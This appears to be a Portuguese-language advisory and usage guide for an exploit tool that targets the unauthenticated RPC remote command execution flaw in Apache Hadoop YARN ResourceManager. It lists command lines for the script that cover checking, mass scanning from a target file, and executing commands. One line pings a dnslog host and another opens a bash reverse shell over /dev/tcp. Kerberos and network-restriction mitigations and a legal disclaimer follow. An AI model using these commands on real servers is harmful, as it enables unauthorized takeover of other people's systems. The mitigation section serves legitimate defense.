
RCE não autorizado no ResourceManager do Hadoop YARN
Existia uma vulnerabilidade de acesso não autorizado no Hadoop Yarn ResourceManager. Essa vulnerabilidade existia no Hadoop Yarn, o componente central do Hadoop. Como o Hadoop Yarn abria o serviço RPC ao público por padrão, um atacante remoto poderia aproveitar essa vulnerabilidade de acesso não autorizado e executar comandos arbitrários por meio do serviço RPC, de modo a controlar o servidor alvo. Diante do alto risco e do grande dano dessa vulnerabilidade, e como os detalhes já foram divulgados e explorados por adversários, recomenda-se que todos os usuários do Apache Hadoop realizem uma auto-verificação e adotem medidas de segurança em tempo hábil.
Apache Hadoop Yarn *
python3 Hadoop_Yan_RPC_RCE.py

python3 Hadoop_Yan_RPC_RCE.py -v true -t http://www.target.com

python3 Hadoop_Yan_RPC_RCE.py -a true -t http://www.target.com -c "curl xxx.dnslog.cn"


python3 Hadoop_Yan_RPC_RCE.py -s true -f target.txt

python3 Hadoop_Yan_RPC_RCE.py -a true -t http://www.target.com -c "bash -i >& /dev/tcp/ip/port 0>&1"

https://nosec.org/home/detail/4905.html
https://github.com/N0b1ta/Bit-Cannon/tree/master/Apache/Hadoop/YARN/hadoop-yarn-rest-api-unauth
1.Ative a autenticação Kerberos para impedir o acesso não autorizado.
<property>
<name>hadoop.security.authentication</name>
<value>kerberos</value>
<final>false</final>
<source>core-site.xml</source>
</property>...
<property>
<name>hadoop.rpc.protection</name>
<value>authentication</value>
<final>false</final>
<source>core-default.xml</source>
</property>
2.Proíba endereços externos de acessar as portas relacionadas ao serviço RPC do Hadoop ou configure-as para serem abertas apenas para endereços confiáveis.
Declaração solene: não use esta ferramenta para operações ilegais. Esta ferramenta é usada apenas para auto-verificação de segurança pelo pessoal da Parte A e da Parte B. Se o usuário a utilizar ilegalmente, a responsabilidade legal deverá ser arcada pelo usuário!!!.